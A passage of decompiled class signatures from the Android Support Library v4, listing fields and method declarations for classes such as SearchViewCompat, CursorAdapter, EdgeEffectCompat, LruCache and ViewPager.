    public boolean onClose();
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnCloseListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    public abstract boolean onClose();
}










android/support/v4/widget/SearchViewCompatHoneycomb$1.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$1 implements android.widget.SearchView$OnQueryTextListener {
    void SearchViewCompatHoneycomb$1(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$2.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$2 implements SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$2(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnCloseListenerCompat);
    public boolean onClose();
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatStubImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatStubImpl implements SearchViewCompat$SearchViewCompatImpl {
    void SearchViewCompat$SearchViewCompatStubImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/EdgeEffectCompat$BaseEdgeEffectImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$BaseEdgeEffectImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$BaseEdgeEffectImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ResourceCursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class ResourceCursorAdapter extends CursorAdapter {
    private int mLayout;
    private int mDropDownLayout;
    private android.view.LayoutInflater mInflater;
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, boolean);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, int);
    public android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public void setViewResource(int);
    public void setDropDownViewResource(int);
}










android/support/v4/widget/CursorAdapter$ChangeObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$ChangeObserver extends android.database.ContentObserver {
    public void CursorAdapter$ChangeObserver(CursorAdapter);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectImpl.class


package android.support.v4.widget;
abstract interface EdgeEffectCompat$EdgeEffectImpl {
    public abstract Object newEdgeEffect(android.content.Context);
    public abstract void setSize(Object, int, int);
    public abstract boolean isFinished(Object);
    public abstract void finish(Object);
    public abstract boolean onPull(Object, float);
    public abstract boolean onRelease(Object);
    public abstract boolean onAbsorb(Object, int);
    public abstract boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/SearchViewCompatHoneycomb.class


package android.support.v4.widget;
synchronized class SearchViewCompatHoneycomb {
    void SearchViewCompatHoneycomb();
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static Object newOnQueryTextListener(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public static void setOnQueryTextListener(Object, Object);
    public static Object newOnCloseListener(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public static void setOnCloseListener(Object, Object);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/CursorFilter.class


package android.support.v4.widget;
synchronized class CursorFilter extends android.widget.Filter {
    CursorFilter$CursorFilterClient mClient;
    void CursorFilter(CursorFilter$CursorFilterClient);
    public CharSequence convertResultToString(Object);
    protected android.widget.Filter$FilterResults performFiltering(CharSequence);
    protected void publishResults(CharSequence, android.widget.Filter$FilterResults);
}










android/support/v4/widget/SearchViewCompat$OnQueryTextListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnQueryTextListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnQueryTextListenerCompat();
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$1.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$1 implements SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$1(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnQueryTextListenerCompat);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectIcsImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$EdgeEffectIcsImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$EdgeEffectIcsImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/EdgeEffectCompat.class


package android.support.v4.widget;
public synchronized class EdgeEffectCompat {
    private Object mEdgeEffect;
    private static final EdgeEffectCompat$EdgeEffectImpl IMPL;
    public void EdgeEffectCompat(android.content.Context);
    public void setSize(int, int);
    public boolean isFinished();
    public void finish();
    public boolean onPull(float);
    public boolean onRelease();
    public boolean onAbsorb(int);
    public boolean draw(android.graphics.Canvas);
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatIcsImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatIcsImpl extends SearchViewCompat$SearchViewCompatHoneycombImpl {
    void SearchViewCompat$SearchViewCompatIcsImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
}










android/support/v4/widget/SimpleCursorAdapter$CursorToStringConverter.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$CursorToStringConverter {
    public abstract CharSequence convertToString(android.database.Cursor);
}










android/support/v4/widget/SearchViewCompatIcs.class


package android.support.v4.widget;
synchronized class SearchViewCompatIcs {
    void SearchViewCompatIcs();
    public static android.view.View newSearchView(android.content.Context);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
}










android/support/v4/widget/ScrollerCompat.class


package android.support.v4.widget;
synchronized class ScrollerCompat {
    android.widget.Scroller mScroller;
    public static ScrollerCompat from(android.content.Context);
    void ScrollerCompat(android.content.Context);
    public boolean isFinished();
    public int getDuration();
    public int getCurrX();
    public int getCurrY();
    public float getCurrVelocity();
    public boolean computeScrollOffset();
    public void startScroll(int, int, int, int);
    public void startScroll(int, int, int, int, int);
    public void fling(int, int, int, int, int, int, int, int);
    public void abortAnimation();
}










android/support/v4/widget/CursorAdapter$1.class


package android.support.v4.widget;
synchronized class CursorAdapter$1 {
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatImpl.class


package android.support.v4.widget;
abstract interface SearchViewCompat$SearchViewCompatImpl {
    public abstract android.view.View newSearchView(android.content.Context);
    public abstract void setSearchableInfo(android.view.View, android.content.ComponentName);
    public abstract void setImeOptions(android.view.View, int);
    public abstract void setInputType(android.view.View, int);
    public abstract Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public abstract void setOnQueryTextListener(Object, Object);
    public abstract Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public abstract void setOnCloseListener(Object, Object);
    public abstract CharSequence getQuery(android.view.View);
    public abstract void setQuery(android.view.View, CharSequence, boolean);
    public abstract void setQueryHint(android.view.View, CharSequence);
    public abstract void setIconified(android.view.View, boolean);
    public abstract boolean isIconified(android.view.View);
    public abstract void setSubmitButtonEnabled(android.view.View, boolean);
    public abstract boolean isSubmitButtonEnabled(android.view.View);
    public abstract void setQueryRefinementEnabled(android.view.View, boolean);
    public abstract boolean isQueryRefinementEnabled(android.view.View);
    public abstract void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplIcs extends ScrollerCompat {
    public void ScrollerCompat$ScrollerCompatImplIcs(android.content.Context);
    public float getCurrVelocity();
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    public abstract boolean onQueryTextSubmit(String);
    public abstract boolean onQueryTextChange(String);
}










android/support/v4/widget/SearchViewCompatIcs$MySearchView.class


package android.support.v4.widget;
public synchronized class SearchViewCompatIcs$MySearchView extends android.widget.SearchView {
    public void SearchViewCompatIcs$MySearchView(android.content.Context);
    public void onActionViewCollapsed();
}










android/support/v4/widget/CursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class CursorAdapter extends android.widget.BaseAdapter implements android.widget.Filterable, CursorFilter$CursorFilterClient {
    protected boolean mDataValid;
    protected boolean mAutoRequery;
    protected android.database.Cursor mCursor;
    protected android.content.Context mContext;
    protected int mRowIDColumn;
    protected CursorAdapter$ChangeObserver mChangeObserver;
    protected android.database.DataSetObserver mDataSetObserver;
    protected CursorFilter mCursorFilter;
    protected android.widget.FilterQueryProvider mFilterQueryProvider;
    public static final int FLAG_AUTO_REQUERY = 1;
    public static final int FLAG_REGISTER_CONTENT_OBSERVER = 2;
    public void CursorAdapter(android.content.Context, android.database.Cursor);
    public void CursorAdapter(android.content.Context, android.database.Cursor, boolean);
    public void CursorAdapter(android.content.Context, android.database.Cursor, int);
    protected void init(android.content.Context, android.database.Cursor, boolean);
    void init(android.content.Context, android.database.Cursor, int);
    public android.database.Cursor getCursor();
    public int getCount();
    public Object getItem(int);
    public long getItemId(int);
    public boolean hasStableIds();
    public android.view.View getView(int, android.view.View, android.view.ViewGroup);
    public android.view.View getDropDownView(int, android.view.View, android.view.ViewGroup);
    public abstract android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public abstract void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public void changeCursor(android.database.Cursor);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public CharSequence convertToString(android.database.Cursor);
    public android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public android.widget.Filter getFilter();
    public android.widget.FilterQueryProvider getFilterQueryProvider();
    public void setFilterQueryProvider(android.widget.FilterQueryProvider);
    protected void onContentChanged();
}










android/support/v4/widget/CursorFilter$CursorFilterClient.class


package android.support.v4.widget;
abstract interface CursorFilter$CursorFilterClient {
    public abstract CharSequence convertToString(android.database.Cursor);
    public abstract android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public abstract android.database.Cursor getCursor();
    public abstract void changeCursor(android.database.Cursor);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl extends SearchViewCompat$SearchViewCompatStubImpl {
    void SearchViewCompat$SearchViewCompatHoneycombImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/ScrollerCompatIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompatIcs {
    void ScrollerCompatIcs();
    public static float getCurrVelocity(android.widget.Scroller);
}










android/support/v4/widget/EdgeEffectCompatIcs.class


package android.support.v4.widget;
synchronized class EdgeEffectCompatIcs {
    void EdgeEffectCompatIcs();
    public static Object newEdgeEffect(android.content.Context);
    public static void setSize(Object, int, int);
    public static boolean isFinished(Object);
    public static void finish(Object);
    public static boolean onPull(Object, float);
    public static boolean onRelease(Object);
    public static boolean onAbsorb(Object, int);
    public static boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/SimpleCursorAdapter.class


package android.support.v4.widget;
public synchronized class SimpleCursorAdapter extends ResourceCursorAdapter {
    protected int[] mFrom;
    protected int[] mTo;
    private int mStringConversionColumn;
    private SimpleCursorAdapter$CursorToStringConverter mCursorToStringConverter;
    private SimpleCursorAdapter$ViewBinder mViewBinder;
    String[] mOriginalFrom;
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[]);
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[], int);
    public void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public SimpleCursorAdapter$ViewBinder getViewBinder();
    public void setViewBinder(SimpleCursorAdapter$ViewBinder);
    public void setViewImage(android.widget.ImageView, String);
    public void setViewText(android.widget.TextView, String);
    public int getStringConversionColumn();
    public void setStringConversionColumn(int);
    public SimpleCursorAdapter$CursorToStringConverter getCursorToStringConverter();
    public void setCursorToStringConverter(SimpleCursorAdapter$CursorToStringConverter);
    public CharSequence convertToString(android.database.Cursor);
    private void findColumns(String[]);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public void changeCursorAndColumns(android.database.Cursor, String[], int[]);
}










android/support/v4/widget/SearchViewCompat.class


package android.support.v4.widget;
public synchronized class SearchViewCompat {
    private static final SearchViewCompat$SearchViewCompatImpl IMPL;
    private void SearchViewCompat(android.content.Context);
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
    public static void setOnQueryTextListener(android.view.View, SearchViewCompat$OnQueryTextListenerCompat);
    public static void setOnCloseListener(android.view.View, SearchViewCompat$OnCloseListenerCompat);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
    static void <clinit>();
}










android/support/v4/util/LruCache.class


package android.support.v4.util;
public synchronized class LruCache {
    private final java.util.LinkedHashMap map;
    private int size;
    private int maxSize;
    private int putCount;
    private int createCount;
    private int evictionCount;
    private int hitCount;
    private int missCount;
    public void LruCache(int);
    public final Object get(Object);
    public final Object put(Object, Object);
    public void trimToSize(int);
    public final Object remove(Object);
    protected void entryRemoved(boolean, Object, Object, Object);
    protected Object create(Object);
    private int safeSizeOf(Object, Object);
    protected int sizeOf(Object, Object);
    public final void evictAll();
    public final synchronized int size();
    public final synchronized int maxSize();
    public final synchronized int hitCount();
    public final synchronized int missCount();
    public final synchronized int createCount();
    public final synchronized int putCount();
    public final synchronized int evictionCount();
    public final synchronized java.util.Map snapshot();
    public final synchronized String toString();
}










android/support/v4/util/TimeUtils.class


package android.support.v4.util;
public synchronized class TimeUtils {
    public static final int HUNDRED_DAY_FIELD_LEN = 19;
    private static final int SECONDS_PER_MINUTE = 60;
    private static final int SECONDS_PER_HOUR = 3600;
    private static final int SECONDS_PER_DAY = 86400;
    private static final Object sFormatSync;
    private static char[] sFormatStr;
    public void TimeUtils();
    private static int accumField(int, int, boolean, int);
    private static int printField(char[], int, char, int, boolean, int);
    private static int formatDurationLocked(long, int);
    public static void formatDuration(long, StringBuilder);
    public static void formatDuration(long, java.io.PrintWriter, int);
    public static void formatDuration(long, java.io.PrintWriter);
    public static void formatDuration(long, long, java.io.PrintWriter);
    static void <clinit>();
}










android/support/v4/util/LogWriter.class


package android.support.v4.util;
public synchronized class LogWriter extends java.io.Writer {
    private final String mTag;
    private StringBuilder mBuilder;
    public void LogWriter(String);
    public void close();
    public void flush();
    public void write(char[], int, int);
    private void flushBuilder();
}










android/support/v4/util/LongSparseArray.class


package android.support.v4.util;
public synchronized class LongSparseArray implements Cloneable {
    private static final Object DELETED;
    private boolean mGarbage;
    private long[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void LongSparseArray();
    public void LongSparseArray(int);
    public LongSparseArray clone();
    public Object get(long);
    public Object get(long, Object);
    public void delete(long);
    public void remove(long);
    public void removeAt(int);
    private void gc();
    public void put(long, Object);
    public int size();
    public long keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(long);
    public int indexOfValue(Object);
    public void clear();
    public void append(long, Object);
    private static int binarySearch(long[], int, int, long);
    public static int idealByteArraySize(int);
    public static int idealLongArraySize(int);
    static void <clinit>();
}










android/support/v4/util/DebugUtils.class


package android.support.v4.util;
public synchronized class DebugUtils {
    public void DebugUtils();
    public static void buildShortClassTag(Object, StringBuilder);
}










android/support/v4/util/AtomicFile.class


package android.support.v4.util;
public synchronized class AtomicFile {
    private final java.io.File mBaseName;
    private final java.io.File mBackupName;
    public void AtomicFile(java.io.File);
    public java.io.File getBaseFile();
    public void delete();
    public java.io.FileOutputStream startWrite() throws java.io.IOException;
    public void finishWrite(java.io.FileOutputStream);
    public void failWrite(java.io.FileOutputStream);
    public java.io.FileInputStream openRead() throws java.io.FileNotFoundException;
    public byte[] readFully() throws java.io.IOException;
    static boolean sync(java.io.FileOutputStream);
}










android/support/v4/util/SparseArrayCompat.class


package android.support.v4.util;
public synchronized class SparseArrayCompat {
    private static final Object DELETED;
    private boolean mGarbage;
    private int[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void SparseArrayCompat();
    public void SparseArrayCompat(int);
    public Object get(int);
    public Object get(int, Object);
    public void delete(int);
    public void remove(int);
    public void removeAt(int);
    public void removeAtRange(int, int);
    private void gc();
    public void put(int, Object);
    public int size();
    public int keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(int);
    public int indexOfValue(Object);
    public void clear();
    public void append(int, Object);
    private static int binarySearch(int[], int, int, int);
    static int idealByteArraySize(int);
    static int idealIntArraySize(int);
    static void <clinit>();
}










android/support/v4/view/PagerTitleStripIcs.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs {
    void PagerTitleStripIcs();
    public static void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewPager$PagerObserver.class


package android.support.v4.view;
synchronized class ViewPager$PagerObserver extends android.database.DataSetObserver {
    private void ViewPager$PagerObserver(ViewPager);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/view/AccessibilityDelegateCompatIcs$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatIcs$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatIcs$1(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/MenuItemCompat$HoneycombMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$HoneycombMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$HoneycombMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/VelocityTrackerCompatHoneycomb.class


package android.support.v4.view;
synchronized class VelocityTrackerCompatHoneycomb {
    void VelocityTrackerCompatHoneycomb();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/VelocityTrackerCompat.class


package android.support.v4.view;
public synchronized class VelocityTrackerCompat {
    static final VelocityTrackerCompat$VelocityTrackerVersionImpl IMPL;
    public void VelocityTrackerCompat();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
    static void <clinit>();
}










android/support/v4/view/KeyEventCompat$KeyEventVersionImpl.class


package android.support.v4.view;
abstract interface KeyEventCompat$KeyEventVersionImpl {
    public abstract int normalizeMetaState(int);
    public abstract boolean metaStateHasModifiers(int, int);
    public abstract boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplIcs.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplIcs implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplIcs();
    public void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewPager$1.class


package android.support.v4.view;
final synchronized class ViewPager$1 implements java.util.Comparator {
    void ViewPager$1();
    public int compare(ViewPager$ItemInfo, ViewPager$ItemInfo);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private int mTouchSlopSquare;
    private int mDoubleTapSlopSquare;
    private int mMinimumFlingVelocity;
    private int mMaximumFlingVelocity;
    private static final int LONGPRESS_TIMEOUT;
    private static final int TAP_TIMEOUT;
    private static final int DOUBLE_TAP_TIMEOUT;
    private static final int SHOW_PRESS = 1;
    private static final int LONG_PRESS = 2;
    private static final int TAP = 3;
    private final android.os.Handler mHandler;
    private final android.view.GestureDetector$OnGestureListener mListener;
    private android.view.GestureDetector$OnDoubleTapListener mDoubleTapListener;
    private boolean mStillDown;
    private boolean mInLongPress;
    private boolean mAlwaysInTapRegion;
    private boolean mAlwaysInBiggerTapRegion;
    private android.view.MotionEvent mCurrentDownEvent;
    private android.view.MotionEvent mPreviousUpEvent;
    private boolean mIsDoubleTapping;
    private float mLastFocusX;
    private float mLastFocusY;
    private float mDownFocusX;
    private float mDownFocusY;
    private boolean mIsLongpressEnabled;
    private android.view.VelocityTracker mVelocityTracker;
    public void GestureDetectorCompat$GestureDetectorCompatImplBase(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    private void init(android.content.Context);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
    public void setIsLongpressEnabled(boolean);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    private void cancel();
    private void cancelTaps();
    private boolean isConsideredDoubleTap(android.view.MotionEvent, android.view.MotionEvent, android.view.MotionEvent);
    private void dispatchLongPress();
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl extends AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewPager$SavedState$1.class


package android.support.v4.view;
final synchronized class ViewPager$SavedState$1 implements android.support.v4.os.ParcelableCompatCreatorCallbacks {
    void ViewPager$SavedState$1();
    public ViewPager$SavedState createFromParcel(android.os.Parcel, ClassLoader);
    public ViewPager$SavedState[] newArray(int);
}










android/support/v4/view/MenuItemCompat.class


package android.support.v4.view;
public synchronized class MenuItemCompat {
    public static final int SHOW_AS_ACTION_NEVER = 0;
    public static final int SHOW_AS_ACTION_IF_ROOM = 1;
    public static final int SHOW_AS_ACTION_ALWAYS = 2;
    public static final int SHOW_AS_ACTION_WITH_TEXT = 4;
    public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8;
    static final MenuItemCompat$MenuVersionImpl IMPL;
    public void MenuItemCompat();
    public static boolean setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    static void <clinit>();
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatImpl.class


package android.support.v4.view;
abstract interface ViewGroupCompat$ViewGroupCompatImpl {
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPager$OnAdapterChangeListener.class


package android.support.v4.view;
abstract interface ViewPager$OnAdapterChangeListener {
    public abstract void onAdapterChanged(PagerAdapter, PagerAdapter);
}










android/support/v4/view/PagerTitleStrip$PageListener.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PageListener extends android.database.DataSetObserver implements ViewPager$OnPageChangeListener, ViewPager$OnAdapterChangeListener {
    private int mScrollState;
    private void PagerTitleStrip$PageListener(PagerTitleStrip);
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
    public void onAdapterChanged(PagerAdapter, PagerAdapter);
    public void onChanged();
}










android/support/v4/view/ViewPager.class


package android.support.v4.view;
public synchronized class ViewPager extends android.view.ViewGroup {
    private static final String TAG = ViewPager;
    private static final boolean DEBUG = 0;
    private static final boolean USE_CACHE = 0;
    private static final int DEFAULT_OFFSCREEN_PAGES = 1;
    private static final int MAX_SETTLE_DURATION = 600;
    private static final int MIN_DISTANCE_FOR_FLING = 25;
    private static final int DEFAULT_GUTTER_SIZE = 16;
    private static final int MIN_FLING_VELOCITY = 400;
    private static final int[] LAYOUT_ATTRS;
    private static final java.util.Comparator COMPARATOR;
    private static final android.view.animation.Interpolator sInterpolator;
    private final java.util.ArrayList mItems;
    private final ViewPager$ItemInfo mTempItem;
    private final android.graphics.Rect mTempRect;
    private PagerAdapter mAdapter;
    private int mCurItem;
    private int mRestoredCurItem;
    private android.os.Parcelable mRestoredAdapterState;
    private ClassLoader mRestoredClassLoader;
    private android.widget.Scroller mScroller;
    private ViewPager$PagerObserver mObserver;
    private int mPageMargin;
    private android.graphics.drawable.Drawable mMarginDrawable;
    private int mTopPageBounds;
    private int mBottomPageBounds;
    private float mFirstOffset;
    private float mLastOffset;
    private int mChildWidthMeasureSpec;
    private int mChildHeightMeasureSpec;
    private boolean mInLayout;
    private boolean mScrollingCacheEnabled;
    private boolean mPopulatePending;
    private int mOffscreenPageLimit;
    private boolean mIsBeingDragged;
    private boolean mIsUnableToDrag;
    private boolean mIgnoreGutter;
    private int mDefaultGutterSize;
    private int mGutterSize;
    private int mTouchSlop;
    private float mLastMotionX;
    private float mLastMotionY;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mActivePointerId;
    private static final int INVALID_POINTER = -1;
    private android.view.VelocityTracker mVelocityTracker;
    private int mMinimumVelocity;
    private int mMaximumVelocity;
    private int mFlingDistance;
    private int mCloseEnough;
    private static final int CLOSE_ENOUGH = 2;
    private boolean mFakeDragging;
    private long mFakeDragBeginTime;
    private android.support.v4.widget.EdgeEffectCompat mLeftEdge;
    private android.support.v4.widget.EdgeEffectCompat mRightEdge;
    private boolean mFirstLayout;
    private boolean mNeedCalculatePageOffsets;
    private boolean mCalledSuper;
    private int mDecorChildCount;
    private ViewPager$OnPageChangeListener mOnPageChangeListener;
    private ViewPager$OnPageChangeListener mInternalPageChangeListener;
    private ViewPager$OnAdapterChangeListener mAdapterChangeListener;
